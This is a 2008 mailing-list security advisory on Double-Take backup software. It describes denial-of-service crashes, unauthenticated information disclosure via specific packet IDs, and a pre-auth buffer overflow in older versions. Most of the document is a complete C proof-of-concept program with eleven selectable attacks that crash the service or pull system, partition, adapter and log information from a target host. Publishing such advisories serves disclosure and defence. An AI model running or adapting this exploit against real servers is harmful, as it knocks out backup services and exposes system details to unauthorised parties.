[NT] Double-Take Multiple Vulnerabilities
- From: SecuriTeam <support@xxxxxxxxxxxxxx>
- Date: 25 Feb 2008 19:19:35 +0200
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
Double-Take Multiple Vulnerabilities
------------------------------------------------------------------------
SUMMARY
<http://www.doubletake.com> Double-Take is "a disaster recovery and
backup software distribuited also under other different names depending by
the company which distribuites it like for example HP StorageWorks Storage
Mirroring (where version 4.5.0.1629 is vulnerable to a pre-auth buffer
overflow)". Multiple vulnerabilities have been discovered in Double-Take's
product.
DETAILS
Vulnerable Systems:
* Double-Take version 5.0.0.2865
Server termination through "vector<T> too long" exception
The Double-Take service can be terminated through an exception raised when
the size of a "vector<T>" value is bigger than how much supported. Exist
different ways for exploiting this vulnerability anyway the main two
arbitrary effects are the "vector<T> too long" exception or CPU at 100%.
NULL pointer crash
The server can be crashed through malformed packets (like 0x2722 and
0x272a) which cause the access to a NULL pointer.
Termination through memory allocation
An error with some packets allows to allocate a partially arbitrary amount
of memory with the possibility to crash the process when no additional
memory is available.
Informations disclosure
The server sends various types of informations to any unauthenticated
user, for example the running operating system and the program's paths
with packet 0x2728, the Ethernet adapters with packet 0x274e, all the
partitions and their types of filesystem with packet 0x2726, the printer
driver with 0x274f and the latest log entries using packet 0x2757.
Other exceptions
There exist also additional problems mainly exploitable through packet
0x2719 which cause respectively a "ospace/time/src\date.cpp" exception and
the recursive calling of a function which fills the available stack and
causes the silent termination of the service.
Exploit:
/*
by Luigi Auriemma - http://aluigi.org/poc/doubletakedown.zip
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <time.h>
#include "show_dump.h"
#ifdef WIN32
#include <winsock.h>
#include "winerr.h"
#define close closesocket
#define sleep Sleep
#define ONESEC 1000
#else
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netdb.h>
#define ONESEC 1
#endif
typedef uint8_t u8;
typedef uint16_t u16;
typedef uint32_t u32;
typedef uint64_t u64;
#define VER "0.1"
#define PORT 1100
#define BUFFSZ 8192
#define BOFSZ 4000
int putsh(u8 *dst, u8 *str);
int putcc(u8 *data, int chr, int len);
int getxx(u8 *data, u64 *ret, int bits);
int putxx(u8 *data, u64 num, int bits);
int timeout(int sock, int secs);
u32 resolv(char *host);
void std_err(void);
int main(int argc, char *argv[]) {
struct sockaddr_in peer;
int sd,
len,
attack;
u16 port = PORT;
u8 buff[BUFFSZ],
*p;
#ifdef WIN32
WSADATA wsadata;
WSAStartup(MAKEWORD(1,0), &wsadata);
#endif
setbuf(stdout, NULL);
fputs("\n"
"Double-Take <= 5.0.0.2865 multiple vulnerabilities "VER"\n"
"by Luigi Auriemma\n"
"e-mail: aluigi@xxxxxxxxxxxxx\n"
"web: aluigi.org\n"
"\n", stdout);
if(argc < 3) {
printf("\n"
"Usage: %s <attack> <host> [port(%hu)]\n"
"\n"
"Attacks:\n"
" 1 = \"vector<T> too long\" exception\n"
" 2 = CPU at 100%%\n"
" 3 = NULL pointer access\n"
" 4 = crash caused by unallocable memory\n"
" 5 = \"ospace/time/src\\date.cpp\" exception\n"
" 6 = recursive stack filling\n"
" 7 = Double-Take 4.5.0.x pre-auth buffer-overflow\n"
" 8 = info about partitions\n"
" 9 = info about network adapters\n"
" 10 = info about printer drivers\n"
" 11 = info about latest logs\n"
"\n", argv[0], port);
exit(1);
}
attack = atoi(argv[1]);
if(argc > 3) port = atoi(argv[3]);
peer.sin_addr.s_addr = resolv(argv[2]);
peer.sin_port = htons(port);
peer.sin_family = AF_INET;
printf("- target %s : %hu\n", inet_ntoa(peer.sin_addr),
ntohs(peer.sin_port));
sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if(sd < 0) std_err();
if(connect(sd, (struct sockaddr *)&peer, sizeof(peer))
< 0) std_err();
p = buff;
p += putxx(p, 2, 16);
p += putxx(p, 1, 16);
if(attack == 1) {
printf("- \"vector<T> too long\" exception\n");
p += putxx(p, 0x2730, 16);
p += putxx(p, 0, 16);
p += putxx(p, 0, 64);
p += putxx(p, 0, 32);
p += putxx(p, 8, 16); // bad value
p += putxx(p, 0, 16);
p += putxx(p, 1, 32);
p += putxx(p, 0, 16);
p += putxx(p, 0, 64);
p += putxx(p, 0, 32);
p += putxx(p, 0, 16);
p += putxx(p, 0, 16);
p += putxx(p, 1, 16);
p += putxx(p, 7, 32);
p += putxx(p, 1, 32);
p += putsh(p, "encrypted_username");
p += putsh(p, "");
p += putsh(p, "encrypted_password");
p += putsh(p, "");
p += putsh(p, "encrypted_domain");
p += putsh(p, "");
p += putxx(p, 0, 64); // unused?
} else if(attack == 2) {
printf("- CPU at 100%%\n");
p += putxx(p, 0x2730, 16);
p += putxx(p, 0, 16);
p += putxx(p, 0, 64);
p += putxx(p, 0, 32);
p += putxx(p, -1, 16); // bad value
p += putxx(p, 0, 16);
p += putxx(p, 1, 32);
p += putxx(p, 0, 16);
p += putxx(p, 0, 64);
p += putxx(p, 0, 32);
p += putxx(p, 0, 16);
p += putxx(p, 0, 16);
p += putxx(p, 1, 16);
p += putxx(p, 7, 32);
p += putxx(p, 1, 32);
p += putsh(p, "encrypted_username");
p += putsh(p, "");
p += putsh(p, "encrypted_password");
p += putsh(p, "");
p += putsh(p, "encrypted_domain");
p += putsh(p, "");
p += putxx(p, 0, 64); // unused?
} else if(attack == 3) {
printf("- NULL pointer access\n");
p += putxx(p, 0x2722, 16); // 0x2722 and 0x272a
p += putxx(p, 0, 16);
p += putxx(p, 0, 64);
p += putxx(p, 0, 32);
p += putxx(p, 0, 16);
p += putxx(p, 0, 16);
p += putxx(p, 0, 32);
p += putxx(p, 0, 16);
p += putxx(p, 0, 64);
p += putxx(p, 0, 32);
p += putxx(p, 0, 16);
p += putxx(p, 0, 16);
p += putxx(p, 1, 16);
p += putxx(p, 0, 32);
p += putxx(p, 0, 64); // for 0x272a
} else if(attack == 4) {
printf("- crash caused by unallocable memory\n");
p += putxx(p, 0x2719, 16);
p += putxx(p, 0, 16);
p += putxx(p, 0, 64);
p += putxx(p, 0, 32);
p += putxx(p, 0, 16);
p += putxx(p, 0, 16);
p += putxx(p, 0, 32);
p += putxx(p, 0, 16);
p += putxx(p, 0, 64);
p += putxx(p, 0, 32);
p += putxx(p, 0, 16);
p += putxx(p, 0, 16);
p += putxx(p, 1, 16);
p += putxx(p, 0, 32);
p += putcc(p, 'a', 5000); // tries to allocate tons of stuff
} else if(attack == 5) {
printf("- \"ospace/time/src\\date.cpp\" exception\n");
p += putxx(p, 0x2719, 16);
p += putxx(p, 0, 16);
p += putxx(p, 0, 64);
p += putxx(p, 0, 32);
p += putxx(p, 0, 16);
p += putxx(p, 0, 16);
p += putxx(p, 0, 32);
p += putxx(p, 0, 16);
p += putxx(p, 0, 64);
p += putxx(p, 0, 32);
p += putxx(p, 0, 16);
p += putxx(p, 0, 16);
p += putxx(p, 1, 16);
p += putxx(p, 0, 32);
p += putcc(p, 0, 100);
} else if(attack == 6) {
printf("- recursive stack filling\n");
p += putxx(p, 0x2719, 16);
p += putxx(p, 0, 16);
p += putxx(p, 0, 64);
p += putxx(p, 0, 32);
p += putxx(p, 0, 16);
p += putxx(p, 0, 16);
p += putxx(p, 0, 32);
p += putxx(p, 0, 16);
p += putxx(p, 0, 64);
p += putxx(p, 0, 32);
p += putxx(p, 0, 16);
p += putxx(p, 0, 16);
p += putxx(p, 1, 16);
p += putxx(p, 0, 32);
p += putcc(p, 1, 1000);
} else if(attack == 7) {
printf("- Double-Take 4.5.0.x pre-auth buffer-overflow\n");
p += putxx(p, 0x2730, 16);
p += putxx(p, 0, 16);
p += putxx(p, 0, 64);
p += putxx(p, 0, 32);
p += putxx(p, 0, 16);
p += putxx(p, 0, 16);
p += putxx(p, 1, 32);
p += putxx(p, 0, 16);
p += putxx(p, 0, 64);
p += putxx(p, 0, 32);
p += putxx(p, 0, 16);
p += putxx(p, 0, 16);
p += putxx(p, 1, 16);
p += putxx(p, 7, 32);
p += putxx(p, 1, 32);
p += putxx(p, BOFSZ, 16);
p += putcc(p, 'A', BOFSZ * 2); // username, yes I know that is
required to encode a bit the unicode values (to avoid 0x41b141b1) but this
is only for quickly showing an old bug
p += putsh(p, "");
p += putsh(p, "password");
p += putsh(p, "");
p += putsh(p, "domain");
p += putsh(p, "");
p += putxx(p, 0, 64); // unused?
} else {
switch(attack) {
case 8: p += putxx(p, 0x2726, 16); break;
case 9: p += putxx(p, 0x274e, 16); break;
case 10: p += putxx(p, 0x274f, 16); break;
case 11: p += putxx(p, 0x2757, 16); break;
default: {
printf("\nError: wrong attack number\n");
exit(1);
}
}
p += putxx(p, 0, 16);
p += putxx(p, 0, 64);
p += putxx(p, 0, 32);
p += putxx(p, 0, 16);
p += putxx(p, 0, 16);
p += putxx(p, 0, 32);
p += putxx(p, 0, 16);
p += putxx(p, 0, 64);
p += putxx(p, 0, 32);
p += putxx(p, 0, 16);
p += putxx(p, 0, 16);
p += putxx(p, 1, 16);
p += putxx(p, 0, 32);
p += putcc(p, 0, 8); // only for 0x274f
}
printf("- send packet\n");
send(sd, buff, p - buff, 0);
printf("- receive and visualize data:\n");
while(!timeout(sd, 3)) {
len = recv(sd, buff, BUFFSZ, 0);
if(len <= 0) break;
show_dump(buff, len, stdout);
}
close(sd);
printf("- done\n");
return(0);
}
int putsh(u8 *dst, u8 *str) {
int len;
u8 *p,
*s;
len = strlen(str);
p = dst;
p += putxx(p, len, 16); // yes I know it's not perfect for the 4.x
version
for(s = str; len--; s++) {
*p++ = *s;
*p++ = 0;
}
return(p - dst);
}
int putcc(u8 *data, int chr, int len) {
memset(data, chr, len);
return(len);
}
int getxx(u8 *data, u64 *ret, int bits) {
u64 num;
int i,
bytes;
bytes = bits >> 3;
for(num = i = 0; i < bytes; i++) {
num |= (data[i] << ((bytes - 1 - i) << 3));
}
*ret = num;
return(bytes);
}
int putxx(u8 *data, u64 num, int bits) {
int i,
bytes;
bytes = bits >> 3;
for(i = 0; i < bytes; i++) {
data[i] = (num >> ((bytes - 1 - i) << 3)) & 0xff;
}
return(bytes);
}
int timeout(int sock, int secs) {
struct timeval tout;
fd_set fd_read;
tout.tv_sec = secs;
tout.tv_usec = 0;
FD_ZERO(&fd_read);
FD_SET(sock, &fd_read);
if(select(sock + 1, &fd_read, NULL, NULL, &tout)
<= 0) return(-1);
return(0);
}
u32 resolv(char *host) {
struct hostent *hp;
u32 host_ip;
host_ip = inet_addr(host);
if(host_ip == INADDR_NONE) {
hp = gethostbyname(host);
if(!hp) {
printf("\nError: Unable to resolv hostname (%s)\n", host);
exit(1);
} else host_ip = *(u32 *)hp->h_addr;
}
return(host_ip);
}
#ifndef WIN32
void std_err(void) {
perror("\nError");
exit(1);
}
#endif
ADDITIONAL INFORMATION
The information has been provided by <mailto:aluigi@xxxxxxxxxxxxx> Luigi
Auriemma.
The original article can be found at:
<http://aluigi.altervista.org/adv/doubletakedown-adv.txt>
http://aluigi.altervista.org/adv/doubletakedown-adv.txt
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@xxxxxxxxxxxxxx
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxx
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
- Prev by Date: [NT] freeSSHd NULL Pointer Crash
- Next by Date: [NEWS] Path Traversal Vulnerability in VMware's Shared Folders Implementation
- Previous by thread: [NT] freeSSHd NULL Pointer Crash
- Next by thread: [NEWS] Path Traversal Vulnerability in VMware's Shared Folders Implementation
- Index(es):
Relevant Pages
|